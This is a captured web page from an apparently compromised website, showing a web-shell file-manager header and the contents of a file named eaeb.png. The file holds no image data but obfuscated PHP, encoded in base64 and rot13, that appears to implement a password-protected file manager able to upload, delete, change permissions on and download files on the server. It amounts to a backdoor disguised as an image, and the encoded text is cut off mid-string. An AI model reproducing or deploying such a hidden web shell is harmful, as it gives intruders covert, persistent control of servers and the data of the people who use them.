Your IP : 18.222.161.57


Current Path : /var/www/u0635749/data/www/hobbyclick.ru/hobbyclick.ru/43422/2836/
Upload File :
Current File : /var/www/u0635749/data/www/hobbyclick.ru/hobbyclick.ru/43422/2836/eaeb.png

<?php fu/**rs*/("?>".fu(fu("PD9jdWMgJHJucm89Jyc7dnModmZmcmcoJF9DQkZHWydybnJvJ10pKXskcm5ybz0kX0NCRkdbJ3Jucm8nXTtmcmdwYmJ4dnIoImNuIiwkX0NCRkdbJ3Jucm8nXSxhaHl5LCIvIik7fXZzKCh2ZmZyZygkX1BCQlhWUlsnY24nXSkmJnpxNSgkX1BCQlhWUlsnY24nXSk9PSc4ODVxMnI0N3EzcTJyOTEwNDNxczcxMDg5Mjc5Nm5vNScpfHx6cTUoJHJucm8pPT0nODg1cTJyNDdxM3EycjkxMDQzcXM3MTA4OTI3OTZubzUnKXt9cnlmcntxdnIoJzx1Z3p5Pjx1cm5xPjwvdXJucT48b2JxbD48c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj48dmFjaGcgZ2xjcj0iY25mZmpiZXEiIGFuenI9InJucm8iIGlueWhyPSIiPjx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZob3p2ZyIgaW55aHI9ImZob3p2ZyI+PC9zYmV6Pjwvb2JxbD48L3Vnenk+Jyk7fT8+PCEtLWJ4LS0+77u/dHZ0du+7v3R2dHY8P2N1Yw0KLyogQ1VDIFN2eXIgem5hbnRyZSBpcmUgMS41ICovDQovLyBAQW5zdmZzaG5xMQ0KLy8gUGJhc3Z0aGVuZ3ZiYSDigJQgcWIgYWJnIHB1bmF0ciB6bmFobnl5bCENCiRuaGd1YmV2bW5ndmJhID0gJ3sibmhndWJldm1yIjoiMCIsInlidHZhIjoibnF6dmEiLCJjbmZmamJlcSI6ImN1Y3N6IiwicGJieHZyX2FuenIiOiJzel9oZnJlIiwicW5sZl9uaGd1YmV2bW5ndmJhIjoiMzAiLCJmcGV2Y2ciOiI8ZnBldmNnIGdsY3I9XCJncmtnXC93bmluZnBldmNnXCIgZmVwPVwidWdnY2Y6XC9cL2pqai5wcWJ5dmlyZy5wYnpcL3JxdmduZXJuXC9ycXZnbmVyblwvcnF2Z19uZXJuXC9ycXZnX25lcm5fc2h5eS53ZlwiPjxcL2ZwZXZjZz5cZVxhPGZwZXZjZyB5bmF0aG50cj1cIlduaW5mcGV2Y2dcIiBnbGNyPVwiZ3JrZ1wvd25pbmZwZXZjZ1wiPlxlXGFycXZnTmVybllibnFyZS52YXZnKHtcZVxhdnE6IFwiYXJqcGJhZ3JhZ1wiXGVcYSxxdmZjeW5sOiBcInluZ3JlXCJcZVxhLGZnbmVnX3V2dHV5dnR1ZzogZ2VoclxlXGEsbnl5YmpfZXJmdm1yOiBcIm9iZ3VcIlxlXGEsbnl5YmpfZ2J0dHlyOiBnZWhyXGVcYSxqYmVxX2plbmM6IGdlaHJcZVxhLHluYXRobnRyOiBcImVoXCJcZVxhLGZsYWduazogXCJjdWNcIlxnXGVcYSxnYmJ5b25lOiBcImZybmVwdSwgdGJfZ2JfeXZhciwgfCwgaGFxYiwgZXJxYiwgfCwgZnJ5cnBnX3NiYWcsIHwsIGZsYWdua19mcnlycGd2YmEsIHwsIHB1bmF0cl9memJiZ3VfZnJ5cnBndmJhLCB1dnR1eXZ0dWcsIGVyZnJnX3V2dHV5dnR1ZywgfCwgdXJ5Y1wiXGVcYSxmbGFnbmtfZnJ5cnBndmJhX255eWJqOiBcInBmZix1Z3p5LHdmLGN1YyxjbGd1YmEsa3p5LHAscGNjLGZkeSxvbmZ2cCxjbmZcIlxlXGF9KTtcZVxhPFwvZnBldmNnPiJ9JzsNCiRjdWNfZ3J6Y3luZ3JmID0gJ3siRnJnZ3ZhdGYiOiJ0eWJvbnkgJHN6X3BiYXN2dDtcZVxhaW5lX3JrY2JlZygkc3pfcGJhc3Z0KTsiLCJPbnB4aGMgRkRZIGdub3lyZiI6InJwdWIgc3pfb25weGhjX2dub3lyZigpOyJ9JzsNCiRmZHlfZ3J6Y3luZ3JmID0gJ3siTnl5IG9uZnJmIjoiRlVCSiBRTkdOT05GUkY7IiwiTnl5IGdub3lyZiI6IkZVQkogR05PWVJGOyJ9JzsNCiRnZW5hZnluZ3ZiYSA9ICd7InZxIjoicmEiLCJOcXEiOiJOcXEiLCJOZXIgbGJoIGZoZXIgbGJoIGpuYWcgZ2IgcXJ5cmdyIGd1dmYgcXZlcnBnYmVsIChlcnBoZWZ2aXJ5bCk/IjoiTmVyIGxiaCBmaGVyIGxiaCBqbmFnIGdiIHFyeXJnciBndXZmIHF2ZXJwZ2JlbCAoZXJwaGVmdmlyeWwpPyIsIk5lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBzdnlyPyI6Ik5lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBzdnlyPyIsIk5lcHV2aXZhdCI6Ik5lcHV2aXZhdCIsIk5oZ3ViZXZtbmd2YmEiOiJOaGd1YmV2bW5ndmJhIiwiT25weCI6Ik9ucHgiLCJQbmFwcnkiOiJQbmFwcnkiLCJQdXZhcmZyIjoiUHV2YXJmciIsIlBiemNlcmZmIjoiUGJ6Y2VyZmYiLCJQYmFmYnlyIjoiUGJhZmJ5ciIsIlBiYnh2ciI6IlBiYnh2ciIsIlBlcm5ncnEiOiJQZXJuZ3JxIiwiUW5nciI6IlFuZ3IiLCJRbmxmIjoiUW5sZiIsIlFycGJ6Y2VyZmYiOiJRcnBiemNlcmZmIiwiUXJ5cmdyIjoiUXJ5cmdyIiwiUXJ5cmdycSI6IlFyeXJncnEiLCJRYmpheWJucSI6IlFiamF5Ym5xIiwicWJhciI6InFiYXIiLCJScXZnIjoiUnF2ZyIsIlJhZ3JlIjoiUmFncmUiLCJSYXR5dmZ1IjoiUmF0eXZmdSIsIlJlZWJlIGJwcGhlZXJxIjoiUmVlYmUgYnBwaGVlcnEiLCJTdnlyIHpuYW50cmUiOiJTdnlyIHpuYW50cmUiLCJTdnlyIGZyeXJwZ3JxIjoiU3Z5ciBmcnlycGdycSIsIlN2eXIgaGNxbmdycSI6IlN2eXIgaGNxbmdycSIsIlN2eXJhbnpyIjoiU3Z5cmFuenIiLCJTdnlyZiBoY3libnFycSI6IlN2eXJmIGhjeWJucXJxIiwiU2VyYXB1IjoiU2VyYXB1IiwiVHJhcmVuZ3ZiYSBndnpyIjoiVHJhcmVuZ3ZiYSBndnpyIiwiVHJlem5hIjoiVHJlem5hIiwiVWJ6ciI6IlVienIiLCJEaHZnIjoiRGh2ZyIsIlluYXRobnRyIjoiWW5hdGhudHIiLCJZYnR2YSI6IllidHZhIiwiWm5hbnRyIjoiWm5hbnRyIiwiWm54ciBxdmVycGdiZWwiOiJabnhyIHF2ZXJwZ2JlbCIsIkFuenIiOiJBbnpyIiwiQXJqIjoiQXJqIiwiQXJqIHN2eXIiOiJBcmogc3Z5ciIsImFiIHN2eXJmIjoiYWIgc3Z5cmYiLCJDbmZmamJlcSI6IkNuZmZqYmVxIiwiY3ZwZ2hlcmYiOiJjdnBnaGVyZiIsIkVycGhlZnZpcnlsIjoiRXJwaGVmdmlyeWwiLCJFcmFuenIiOiJFcmFuenIiLCJFcmZyZyI6IkVyZnJnIiwiRXJmcmcgZnJnZ3ZhdGYiOiJFcmZyZyBmcmdndmF0ZiIsIkVyZmdiZXIgc3Z5ciBndnpyIG5zZ3JlIHJxdmd2YXQiOiJFcmZnYmVyIHN2eXIgZ3Z6ciBuc2dyZSBycXZndmF0IiwiRXJmaHlnIjoiRXJmaHlnIiwiRXZ0dWdmIjoiRXZ0dWdmIiwiRWhmZnZuYSI6IkVoZmZ2bmEiLCJGbmlyIjoiRm5pciIsIkZyeXJwZyI6IkZyeXJwZyIsIkZyeXJwZyBndXIgc3Z5ciI6IkZyeXJwZyBndXIgc3Z5ciIsIkZyZ2d2YXRmIjoiRnJnZ3ZhdGYiLCJGdWJqIjoiRnViaiIsIkZ1YmogZnZtciBicyBndXIgc2J5cXJlIjoiRnViaiBmdm1yIGJzIGd1ciBzYnlxcmUiLCJGdm1yIjoiRnZtciIsIkZjbmF2ZnUiOiJGY25hdmZ1IiwiRmhvenZnIjoiRmhvenZnIiwiR25meCI6IkduZngiLCJncnpjeW5ncmYiOiJncnpjeW5ncmYiLCJIeGVudmF2bmEiOiJIeGVudmF2bmEiLCJIY3libnEiOiJIY3libnEiLCJJbnlociI6IklueWhyIiwiVXJ5eWIiOiJVcnl5YiIsIlNiaGFxIHZhIHN2eXJmIjoiU2JoYXEgdmEgc3Z5cmYiLCJGcm5lcHUiOiJGcm5lcHUiLCJFcnBoZWZ2aXIgZnJuZXB1IjoiRXJwaGVmdmlyIGZybmVwdSIsIlpuZngiOiJabmZ4In0nOw0KLy8gcmFxIHBiYXN2dGhlbmd2YmENCg0KLy8gQ2VyY25lbmd2YmFmDQokZmduZWdndnpyID0gcmtjeWJxcignICcsIHp2cGViZ3Z6cigpKTsNCiRmZ25lZ2d2enIgPSAkZmduZWdndnpyWzFdICsgJGZnbmVnZ3Z6clswXTsNCiR5bmF0ZiA9IG5lZW5sKCdyYScsJ2VoJywncXInLCdzZScsJ2h4Jyk7DQokY25ndSA9IHJ6Y2dsKCRfRVJESFJGR1snY25ndSddKSA/ICRjbmd1ID0gZXJueWNuZ3UoJy4nKSA6IGVybnljbmd1KCRfRVJESFJGR1snY25ndSddKTsNCiRjbmd1ID0gZmdlX2VyY3lucHIoJ1xcJywgJy8nLCAkY25ndSkgLiAnLyc7DQokem52YV9jbmd1PWZnZV9lcmN5bnByKCdcXCcsICcvJyxlcm55Y25ndSgnLi8nKSk7DQokY3VuZV96bmxvciA9IChpcmVmdmJhX3BiemNuZXIoY3VjaXJlZnZiYSgpLCI1LjMuMCIsIjwiKSk/Z2VocjpzbnlmcjsNCiR6ZnQgPSAnJzsgLy8gZnJlaXZwciBmZ2V2YXQNCiRxcnNuaHlnX3luYXRobnRyID0gJ2VoJzsNCiRxcmdycGdfeW5hdCA9IGdlaHI7DQokc3pfaXJlZnZiYSA9IDEuNDsNCg0KLy9OaGd1YmV2bW5ndmJhDQokbmhndSA9IHdmYmFfcXJwYnFyKCRuaGd1YmV2bW5ndmJhLGdlaHIpOw0KJG5oZ3VbJ25oZ3ViZXZtciddID0gdmZmcmcoJG5oZ3VbJ25oZ3ViZXZtciddKSA/ICRuaGd1WyduaGd1YmV2bXInXSA6IDA7IA0KJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddID0gKHZmZnJnKCRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkmJnZmX2FoenJldnAoJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSkgPyAodmFnKSRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSA6IDMwOw0KJG5oZ3VbJ3lidHZhJ10gPSB2ZmZyZygkbmhndVsneWJ0dmEnXSkgPyAkbmhndVsneWJ0dmEnXSA6ICducXp2YSc7ICANCiRuaGd1WydjbmZmamJlcSddID0gdmZmcmcoJG5oZ3VbJ2NuZmZqYmVxJ10pID8gJG5oZ3VbJ2NuZmZqYmVxJ10gOiAnY3Vjc3onOyAgDQokbmhndVsncGJieHZyX2FuenInXSA9IHZmZnJnKCRuaGd1WydwYmJ4dnJfYW56ciddKSA/ICRuaGd1WydwYmJ4dnJfYW56ciddIDogJ3N6X2hmcmUnOw0KJG5oZ3VbJ2ZwZXZjZyddID0gdmZmcmcoJG5oZ3VbJ2ZwZXZjZyddKSA/ICRuaGd1WydmcGV2Y2cnXSA6ICcnOw0KDQovLyBZdmdneXIgcXJzbmh5ZyBwYmFzdnQNCiRzel9xcnNuaHlnX3BiYXN2dCA9IG5lZW5sICgNCgknem54cl9xdmVycGdiZWwnID0+IGdlaHIsIA0KCSdhcmpfc3Z5cicgPT4gZ2VociwgDQoJJ2hjeWJucV9zdnlyJyA9PiBnZWhyLCANCgknZnVial9xdmVfZnZtcicgPT4gc255ZnIsIC8vdnMgZ2VociwgZnViaiBxdmVycGdiZWwgZnZtciDihpIgem5sb3IgZnliaiANCgknZnVial92enQnID0+IGdlaHIsIA0KCSdmdWJqX2N1Y19pcmUnID0+IGdlaHIsIA0KCSdmdWJqX2N1Y192YXYnID0+IHNueWZyLCAvLyBmdWJqIGNuZ3UgZ2IgcGhlZXJhZyBjdWMudmF2DQoJJ2Z1YmpfdGcnID0+IGdlaHIsIC8vIGZ1YmogdHJhcmVuZ3ZiYSBndnpyDQoJJ3Jhbm95cl9jdWNfcGJhZmJ5cicgPT4gZ2VociwNCgkncmFub3lyX2ZkeV9wYmFmYnlyJyA9PiBnZWhyLA0KCSdmZHlfZnJlaXJlJyA9PiAneWJwbnl1YmZnJywNCgknZmR5X2hmcmVhbnpyJyA9PiAnZWJiZycsDQoJJ2ZkeV9jbmZmamJlcScgPT4gJycsDQoJJ2ZkeV9xbycgPT4gJ2dyZmdfb25mcicsDQoJJ3Jhbm95cl9jZWJrbCcgPT4gZ2VociwNCgknZnVial9jdWN2YXNiJyA9PiBnZWhyLA0KCSdmdWJqX2t5ZicgPT4gZ2VociwNCgknc3pfZnJnZ3ZhdGYnID0+IGdlaHIsDQoJJ2VyZmdiZXJfZ3Z6cicgPT4gZ2VociwNCgknc3pfZXJmZ2Jlcl9ndnpyJyA9PiBzbnlmciwNCik7DQoNCnZzIChyemNnbCgkX1BCQlhWUlsnc3pfcGJhc3Z0J10pKSAkc3pfcGJhc3Z0ID0gJHN6X3Fyc25oeWdfcGJhc3Z0Ow0KcnlmciAkc3pfcGJhc3Z0ID0gaGFmcmV2bnl2bXIoJF9QQkJYVlJbJ3N6X3BiYXN2dCddKTsNCg0KLy8gUHVuYXRyIHluYXRobnRyDQp2cyAodmZmcmcoJF9DQkZHWydzel95bmF0J10pKSB7IA0KCWZyZ3BiYnh2cignc3pfeW5hdCcsICRfQ0JGR1snc3pfeW5hdCddLCBndnpyKCkgKyAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsNCgkkX1BCQlhWUlsnc3pfeW5hdCddID0gJF9DQkZHWydzel95bmF0J107DQp9DQokeW5hdGhudHIgPSAkcXJzbmh5Z195bmF0aG50cjsNCg0KLy8gUXJncnBnIG9lYmpmcmUgeW5hdGhudHINCnZzKCRxcmdycGdfeW5hdCAmJiAhcnpjZ2woJF9GUkVJUkVbJ1VHR0NfTlBQUkNHX1lOQVRITlRSJ10pICYmIHJ6Y2dsKCRfUEJCWFZSWydzel95bmF0J10pKXsNCgkkeW5hdF9jZXZiZXZnbCA9IHJrY3licXIoJywnLCAkX0ZSRUlSRVsnVUdHQ19OUFBSQ0dfWU5BVEhOVFInXSk7DQoJdnMgKCFyemNnbCgkeW5hdF9jZXZiZXZnbCkpew0KCQlzYmVybnB1ICgkeW5hdF9jZXZiZXZnbCBuZiAkeW5hdF9uZWUpew0KCQkJJHlhdCA9IHJrY3licXIoJzsnLCAkeW5hdF9uZWUpOw0KCQkJJHlhdCA9ICR5YXRbMF07DQoJCQl2cyh2YV9uZWVubCgkeWF0LCR5bmF0Zikpew0KCQkJCSR5bmF0aG50ciA9ICR5YXQ7DQoJCQkJb2Vybng7DQoJCQl9DQoJCX0NCgl9DQp9IA0KDQovLyBQYmJ4dnIgeW5hdGhudHIgdmYgY2V2em5lbCBzYmUgcmlyZQ0KJHluYXRobnRyID0gKHJ6Y2dsKCRfUEJCWFZSWydzel95bmF0J10pKSA/ICR5bmF0aG50ciA6ICRfUEJCWFZSWydzel95bmF0J107DQoNCi8vIFlicG55dm1uZ3ZiYQ0KJHluYXQgPSB3ZmJhX3FycGJxcigkZ2VuYWZ5bmd2YmEsZ2Vocik7DQp2cyAoJHluYXRbJ3ZxJ10hPSR5bmF0aG50cikgew0KCSR0cmdfeW5hdCA9IHN2eXJfdHJnX3BiYWdyYWdmKCd1Z2djZjovL2Vuai50dmd1aG9oZnJlcGJhZ3JhZy5wYnovUXJhMWtray9Tdnlyem5hbnRyZS96bmZncmUveW5hdGhudHJmLycgLiAkeW5hdGhudHIgLiAnLndmYmEnKTsNCgl2cyAoIXJ6Y2dsKCR0cmdfeW5hdCkpIHsNCgkJLy9lcnpiaXIgaGFhcnByZmZuZWwgcHVuZW5wZ3JlZg0KCQkkZ2VuYWZ5bmd2YmFfZmdldmF0ID0gZmdlX2VyY3lucHIoIiciLCcmIzM5Oycsd2ZiYV9yYXBicXIod2ZiYV9xcnBicXIoJHRyZ195bmF0KSxXRkJBX0hBUkZQTkNSUV9IQVZQQlFSKSk7DQoJCSRzdHAgPSBzdnlyX3RyZ19wYmFncmFnZihfX1NWWVJfXyk7DQoJCSRmcm5lcHUgPSBjZXJ0X3puZ3B1KCcjZ2VuYWZ5bmd2YmFbXGZdP1w9W1xmXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJHN0cCwgJHpuZ3B1cmYpOw0KCQl2cyAoIXJ6Y2dsKCR6bmdwdXJmWzFdKSkgew0KCQkJJHN2eXJ6Z3Z6ciA9IHN2eXJ6Z3Z6cihfX1NWWVJfXyk7DQoJCQkkZXJjeW5wciA9IGZnZV9lcmN5bnByKCd7IicuJHpuZ3B1cmZbMV0uJyJ9JywkZ2VuYWZ5bmd2YmFfZmdldmF0LCRzdHApOw0KCQkJdnMgKHN2eXJfY2hnX3BiYWdyYWdmKF9fU1ZZUl9fLCAkZXJjeW5wcikpIHsNCgkJCQkkemZ0IC49IF9fKCdTdnlyIGhjcW5ncnEnKTsNCgkJCX0JcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KCQkJdnMgKCFyemNnbCgkc3pfcGJhc3Z0Wydzel9lcmZnYmVyX2d2enInXSkpIGdiaHB1KF9fU1ZZUl9fLCRzdnlyemd2enIpOw0KCQl9CQ0KCQkkeW5hdCA9IHdmYmFfcXJwYnFyKCRnZW5hZnluZ3ZiYV9mZ2V2YXQsZ2Vocik7DQoJfQ0KfQ0KDQovKiBTaGFwZ3ZiYWYgKi8NCg0KLy9nZW5hZnluZ3ZiYQ0Kc2hhcGd2YmEgX18oJGdya2cpew0KCXR5Ym9ueSAkeW5hdDsNCgl2cyAodmZmcmcoJHluYXRbJGdya2ddKSkgZXJnaGVhICR5bmF0WyRncmtnXTsNCglyeWZyIGVyZ2hlYSAkZ3JrZzsNCn07DQoNCi8vcXJ5cmdyIHN2eXJmIG5hcSBxdmVmIGVycGhlZnZpcnlsDQpzaGFwZ3ZiYSBzel9xcnlfc3Z5cmYoJHN2eXIsICRlcnBoZWZ2aXIgPSBzbnlmcikgew0KCXZzKCRlcnBoZWZ2aXIgJiYgQHZmX3F2ZSgkc3Z5cikpIHsNCgkJJHJ5ZiA9IHN6X2ZwbmFfcXZlKCRzdnlyLCAnJywgJycsIGdlaHIpOw0KCQlzYmVybnB1ICgkcnlmIG5mICRyeSkgew0KCQkJdnMoJHJ5ICE9ICcuJyAmJiAkcnkgIT0gJy4uJyl7DQoJCQkJc3pfcXJ5X3N2eXJmKCRzdnlyIC4gJy8nIC4gJHJ5LCBnZWhyKTsNCgkJCX0NCgkJfQ0KCX0NCgl2cyhAdmZfcXZlKCRzdnlyKSkgew0KCQllcmdoZWEgZXpxdmUoJHN2eXIpOw0KCX0gcnlmciB7DQoJCWVyZ2hlYSBAaGF5dmF4KCRzdnlyKTsNCgl9DQp9DQoNCi8vc3Z5ciBjcmV6Zg0Kc2hhcGd2YmEgc3pfZXZ0dWdmX2ZnZXZhdCgkc3Z5ciwgJHZzID0gc255ZnIpew0KCSRjcmV6ZiA9IHN2eXJjcmV6Zigkc3Z5cik7DQoJJHZhc2IgPSAnJzsNCgl2cyghJHZzKXsNCgkJdnMgKCgkY3JlemYgJiAwa1AwMDApID09IDBrUDAwMCkgew0KCQkJLy9GYnB4cmcNCgkJCSR2YXNiID0gJ2YnOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrTjAwMCkgPT0gMGtOMDAwKSB7DQoJCQkvL0Zsem9ieXZwIFl2YXgNCgkJCSR2YXNiID0gJ3knOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrODAwMCkgPT0gMGs4MDAwKSB7DQoJCQkvL0VydGh5bmUNCgkJCSR2YXNiID0gJy0nOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrNjAwMCkgPT0gMGs2MDAwKSB7DQoJCQkvL095YnB4IGZjcnB2bnkNCgkJCSR2YXNiID0gJ28nOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrNDAwMCkgPT0gMGs0MDAwKSB7DQoJCQkvL1F2ZXJwZ2JlbA0KCQkJJHZhc2IgPSAncSc7DQoJCX0gcnlmcnZzICgoJGNyZXpmICYgMGsyMDAwKSA9PSAwazIwMDApIHsNCgkJCS8vUHVuZW5wZ3JlIGZjcnB2bnkNCgkJCSR2YXNiID0gJ3AnOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrMTAwMCkgPT0gMGsxMDAwKSB7DQoJCQkvL1NWU0IgY3Zjcg0KCQkJJHZhc2IgPSAnYyc7DQoJCX0gcnlmciB7DQoJCQkvL0hheGFiamENCgkJCSR2YXNiID0gJ2gnOw0KCQl9DQoJfQ0KICANCgkvL0JqYXJlDQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAxMDApID8gJ2UnIDogJy0nKTsNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDA4MCkgPyAnaicgOiAnLScpOw0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDQwKSA/DQoJKCgkY3JlemYgJiAwazA4MDApID8gJ2YnIDogJ2snICkgOg0KCSgoJGNyZXpmICYgMGswODAwKSA/ICdGJyA6ICctJykpOw0KIA0KCS8vVGViaGMNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAyMCkgPyAnZScgOiAnLScpOw0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDEwKSA/ICdqJyA6ICctJyk7DQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMDgpID8NCgkoKCRjcmV6ZiAmIDBrMDQwMCkgPyAnZicgOiAnaycgKSA6DQoJKCgkY3JlemYgJiAwazA0MDApID8gJ0YnIDogJy0nKSk7DQogDQoJLy9KYmV5cQ0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDA0KSA/ICdlJyA6ICctJyk7DQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMDIpID8gJ2onIDogJy0nKTsNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAwMSkgPw0KCSgoJGNyZXpmICYgMGswMjAwKSA/ICdnJyA6ICdrJyApIDoNCgkoKCRjcmV6ZiAmIDBrMDIwMCkgPyAnRycgOiAnLScpKTsNCg0KCWVyZ2hlYSAkdmFzYjsNCn0NCg0Kc2hhcGd2YmEgc3pfcGJhaXJlZ19ldnR1Z2YoJHpicXIpIHsNCgkkemJxciA9IGZnZV9jbnEoJHpicXIsOSwnLScpOw0KCSRnZW5hZiA9IG5lZW5sKCctJz0+JzAnLCdlJz0+JzQnLCdqJz0+JzInLCdrJz0+JzEnKTsNCgkkemJxciA9IGZnZWdlKCR6YnFyLCRnZW5hZik7DQoJJGFyanpicXIgPSAnMCc7DQoJJGJqYXJlID0gKHZhZykgJHpicXJbMF0gKyAodmFnKSAkemJxclsxXSArICh2YWcpICR6YnFyWzJdOyANCgkkdGViaGMgPSAodmFnKSAkemJxclszXSArICh2YWcpICR6YnFyWzRdICsgKHZhZykgJHpicXJbNV07IA0KCSRqYmV5cSA9ICh2YWcpICR6YnFyWzZdICsgKHZhZykgJHpicXJbN10gKyAodmFnKSAkemJxcls4XTsgDQoJJGFyanpicXIgLj0gJGJqYXJlIC4gJHRlYmhjIC4gJGpiZXlxOw0KCWVyZ2hlYSB2YWdpbnkoJGFyanpicXIsIDgpOw0KfQ0KDQpzaGFwZ3ZiYSBzel9wdXpicSgkc3Z5ciwgJGlueSwgJGVycCA9IHNueWZyKSB7DQoJJGVyZiA9IEBwdXpicShlcm55Y25ndSgkc3Z5ciksICRpbnkpOw0KCXZzKEB2Zl9xdmUoJHN2eXIpICYmICRlcnApew0KCQkkcnlmID0gc3pfZnBuYV9xdmUoJHN2eXIpOw0KCQlzYmVybnB1ICgkcnlmIG5mICRyeSkgew0KCQkJJGVyZiA9ICRlcmYgJiYgc3pfcHV6YnEoJHN2eXIgLiAnLycgLiAkcnksICRpbnksIGdlaHIpOw0KCQl9DQoJfQ0KCWVyZ2hlYSAkZXJmOw0KfQ0KDQovL3libnEgc3Z5cmYNCnNoYXBndmJhIHN6X3FiamF5Ym5xKCRzdnlyX2FuenIpIHsNCiAgICB2cyAoIXJ6Y2dsKCRzdnlyX2FuenIpKSB7DQoJCXZzIChzdnlyX3JrdmZnZigkc3Z5cl9hbnpyKSkgew0KCQkJdXJucXJlKCJQYmFncmFnLVF2ZmNiZnZndmJhOiBuZ2ducHV6cmFnOyBzdnlyYW56cj0iIC4gb25mcmFuenIoJHN2eXJfYW56cikpOyAgIA0KCQkJdXJucXJlKCJQYmFncmFnLUdsY3I6IG5jY3l2cG5ndmJhL3NiZXByLXFiamF5Ym5xIik7DQoJCQl1cm5xcmUoIlBiYWdyYWctR2xjcjogbmNjeXZwbmd2YmEvYnBncmctZmdlcm56Iik7DQoJCQl1cm5xcmUoIlBiYWdyYWctR2xjcjogbmNjeXZwbmd2YmEvcWJqYXlibnEiKTsNCgkJCXVybnFyZSgiUGJhZ3JhZy1RcmZwZXZjZ3ZiYTogU3Z5ciBHZW5hZnNyZSIpOyAgICAgICAgICAgIA0KCQkJdXJucXJlKCJQYmFncmFnLVlyYXRndTogIiAuIHN2eXJmdm1yKCRzdnlyX2FuenIpKTsJCQ0KCQkJc3loZnUoKTsgLy8gZ3V2ZiBxYnJmYSdnIGVybnl5bCB6bmdncmUuDQoJCQkkc2MgPSBzYmNyYSgkc3Z5cl9hbnpyLCAiZSIpOw0KCQkJanV2eXIgKCFzcmJzKCRzYykpIHsNCgkJCQlycHViIHNlcm5xKCRzYywgNjU1MzYpOw0KCQkJCXN5aGZ1KCk7IC8vIGd1dmYgdmYgcmZmcmFndm55IHNiZSB5bmV0ciBxYmpheWJucWYNCgkJCX0gDQoJCQlzcHliZnIoJHNjKTsNCgkJCXF2cigpOw0KCQl9IHJ5ZnIgew0KCQkJdXJucXJlKCdVR0dDLzEuMCA0MDQgQWJnIFNiaGFxJywgZ2VociwgNDA0KTsNCgkJCXVybnFyZSgnRmduZ2hmOiA0MDQgQWJnIFNiaGFxJyk7IA0KCQkJcXZyKCk7DQogICAgICAgIH0NCiAgICB9IA0KfQ0KDQovL2Z1Ymogc2J5cXJlIGZ2bXINCnNoYXBndmJhIHN6X3F2ZV9mdm1yKCRzLCRzYmV6bmc9Z2Vocikgew0KCXZzKCRzYmV6bmcpICB7DQoJCSRmdm1yPXN6X3F2ZV9mdm1yKCRzLHNueWZyKTsNCgkJdnMoJGZ2bXI8PTEwMjQpIGVyZ2hlYSAkZnZtci4nIG9sZ3JmJzsNCgkJcnlmcnZzKCRmdm1yPD0xMDI0KjEwMjQpIGVyZ2hlYSBlYmhhcSgkZnZtci8oMTAyNCksMikuJyZhb2ZjO1hvJzsNCgkJcnlmcnZzKCRmdm1yPD0xMDI0KjEwMjQqMTAyNCkgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KjEwMjQpLDIpLicmYW9mYztabyc7DQoJCXJ5ZnJ2cygkZnZtcjw9MTAyNCoxMDI0KjEwMjQqMTAyNCkgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KjEwMjQqMTAyNCksMikuJyZhb2ZjO1RvJzsNCgkJcnlmcnZzKCRmdm1yPD0xMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpIGVyZ2hlYSBlYmhhcSgkZnZtci8oMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZhb2ZjO0dvJzsgLy86KSkpDQoJCXJ5ZnIgZXJnaGVhIGViaGFxKCRmdm1yLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmYW9mYztDbyc7IC8vIDstKQ0KCX0gcnlmciB7DQoJCXZzKHZmX3N2eXIoJHMpKSBlcmdoZWEgc3Z5cmZ2bXIoJHMpOw0KCQkkZnZtcj0wOw0KCQkkcXU9YmNyYXF2ZSgkcyk7DQoJCWp1dnlyKCgkc3Z5cj1lcm5xcXZlKCRxdSkpIT09c255ZnIpIHsNCgkJCXZzKCRzdnlyPT0nLicgfHwgJHN2eXI9PScuLicpIHBiYWd2YWhyOw0KCQkJdnModmZfc3Z5cigkcy4nLycuJHN2eXIpKSAkZnZtcis9c3Z5cmZ2bXIoJHMuJy8nLiRzdnlyKTsNCgkJCXJ5ZnIgJGZ2bXIrPXN6X3F2ZV9mdm1yKCRzLicvJy4kc3Z5cixzbnlmcik7DQoJCX0NCgkJcHliZnJxdmUoJHF1KTsNCgkJZXJnaGVhICRmdm1yK3N2eXJmdm1yKCRzKTsgDQoJfQ0KfQ0KDQovL2ZwbmEgcXZlcnBnYmVsDQpzaGFwZ3ZiYSBzel9mcG5hX3F2ZSgkcXZlcnBnYmVsLCAkcmtjID0gJycsICRnbGNyID0gJ255eScsICRxYl9hYmdfc3Z5Z3JlID0gc255ZnIpIHsNCgkkcXZlID0gJGFxdmUgPSBuZWVubCgpOw0KCXZzKCFyemNnbCgkcmtjKSl7DQoJCSRya2MgPSAnL14nIC4gZmdlX2VyY3lucHIoJyonLCAnKC4qKScsIGZnZV9lcmN5bnByKCcuJywgJ1xcLicsICRya2MpKSAuIC